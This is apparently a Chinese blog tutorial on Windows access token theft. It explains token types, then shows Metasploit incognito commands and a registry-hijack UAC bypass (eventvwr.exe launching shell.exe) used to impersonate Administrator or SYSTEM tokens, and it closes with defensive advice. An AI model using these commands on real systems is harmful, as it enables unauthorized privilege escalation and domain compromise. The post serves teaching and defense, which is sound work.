快过年了,小伙伴们提议出去浪一下,决定要去玩恐怖类密室逃脱,瑟瑟发抖o((⊙﹏⊙))o.

令牌窃取分析及防范

0x01 令牌概述

令牌( Token )是指系统中的临时密钥,相当于账户和密码,用于决定是否允许当前请求及判断当前请求是属于哪个用户的。获得了令牌,就可以在不提供密码或其他凭证的情况下访问网络和系统资源。这些令牌将持续存在于系统中(除非系统重新启动)。

令牌的最大特点是随机性和不可预测性,一般的攻击者或软件都无法将令牌猜测出来。令牌一般分为以下几种:

  • 访问令牌(Access Token) 代表访问控制操作主体的系统对象。(本文主要讲Windows的AccessToken)
  • 密保令牌(Security Token) 也叫作认证令牌或者硬件令牌,是一种用于实现计算机身份校验的物理设备,例如U盾。
  • 会话令牌 ( SessionToken)是交互会话中唯一的身份标识符。

Windows访问令牌

Windows 访问令牌(Access Tokens) 是一个描述进程或线程安全上下文的对象。令牌所包含的信息是与该用户账户相关的进程或线程的身份和权限信息。当用户登录时,系统通过将用户输入的密码与储存在安全数据库中的密码进行对比。若密码正确,系统将生成一个访问令牌。之后,该用户执行的每个进程都会拥有一个该访问令牌的副本。

目前访问令牌分为两种令牌:

  • 主令牌(每一个进程都具有一个唯一的主令牌,进程通过主令牌被开启)
  • 模拟令牌(在默认的情况下,当线程被开启的时候,所在进程的主令牌会自动附加到当前线程上,作为线程的安全上下文。而线程可以运行在另一个非主令牌的访问令牌下执行,而这个令牌被称为模拟令牌。而指定线程的模拟令牌的过程被称为模拟)

主令牌是与进程相关的;模拟的令牌是与模拟令牌的线程相关的。主令牌和模拟令牌,都会在系统重启或者关机后全部清除。

当线程与安全对象进行交互或尝试执行需要特权的系统任务时,系统使用访问令牌来标识用户。访问令牌包含以下信息:

  • 用户帐户的安全标识符(SID)
  • 用户帐户所属的用户群的SIDs
  • 一个logon SID,标识当前登录会话
  • 用户或用户群的特权清单
  • 所有者的SID
  • 基本群的SID
  • 当用户创建可安全对象(securable object)且没有给出安全描述符时,系统使用的缺省的自主访问控制列表(DACL)
  • 访问令牌资源
  • 是否为primary或impersonation token
  • 限制性SIDs的可选列表
  • 当前impersonation级别
  • 其他统计

攻击者可以使用访问令牌在不同的用户或系统安全性上下文下进行操作,以执行操作并逃避检测。

攻击者可以使用内置的Windows API函数来复制现有进程中的访问令牌。这被称为令牌窃取。

攻击者必须已经在特权用户上下文(即管理员)中才能窃取令牌。攻击者通常使用令牌窃取将其安全上下文从管理员级别提升到SYSTEM级别。如果帐户对远程系统具有适当的权限,则对手可以使用令牌作为该令牌的帐户向远程系统进行身份验证。

列举令牌只能列出当前用户和比当前用户权限更低用户的令牌,例如当前权限是system或者是administrator,那么我们就可以看到系统中所有的令牌。

0x02 令牌窃取

使用MSF中的 incognito 插件

由于我当前的权限是一个普通用户,所以令牌窃取只能窃取到当前用户本身

image-20210129091617259

利用上一节Windows提权-BypassUAC之劫持注册表实验 ,使用UAC提权,先另起一个MSF监听,然后在本sessoin中的shell中执行

1
2
3
reg add "HKCU\Software\Classes\mscfile\shell\open\command" /d c:\testftp\shell.exe /f

eventvwr.exe

image-20210128223604660

Delegation Token:也就是授权令牌,它支持交互式登录(例如可以通过远程桌面登录访问)

Impresonation Token:模拟令牌,它是非交互的会话。

得到授权令牌:

1
2
3
4
5
6
NT AUTHORITY\IUSR
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
TEST\Administrator
TEST\yhy

得到模拟令牌:

1
NT AUTHORITY\ANONYMOUS LOGON

伪造授权令牌,就可以拥有它的权限了,使用下面命令获取对应token的权限

1
impersonate_token 'TEST\Administrator'

image-20210128223730735

使用drop_token返回之前的token,和 rev2self 一样

image-20210128223804482

Windows 访问令牌是用户登录后分配的用于标识用户权限的对象,通过复制令牌,我们可以摸拟该令牌代表的用户。典型的用法是获取 SYSTEM 权限,以及查看本机是否有域控账号的令牌,然后窃取该令牌,从而控制整个域。

0x03 令牌窃取提权的防御措施

针对令牌窃取提权的防御措施如下:

  • 为了防止域管理员的令牌被窃取,应该禁止域管理员登录其它主机。如果登录了,使用完后应该及时重启电脑,从而把令牌清除。
  • 及时安装微软推送的补丁
  • 对于来路不明的或者危险的软件,既不要在系统中使用,也不要在虚拟机中使用
  • 对令牌的时效性进行限制,以防止散列值被破解后泄露有效的令牌信息
  • 对于令牌,应采取加密存储及多长验证保护
  • 使用加密链路SSL/TLS传输令牌,以防止被中间人窃听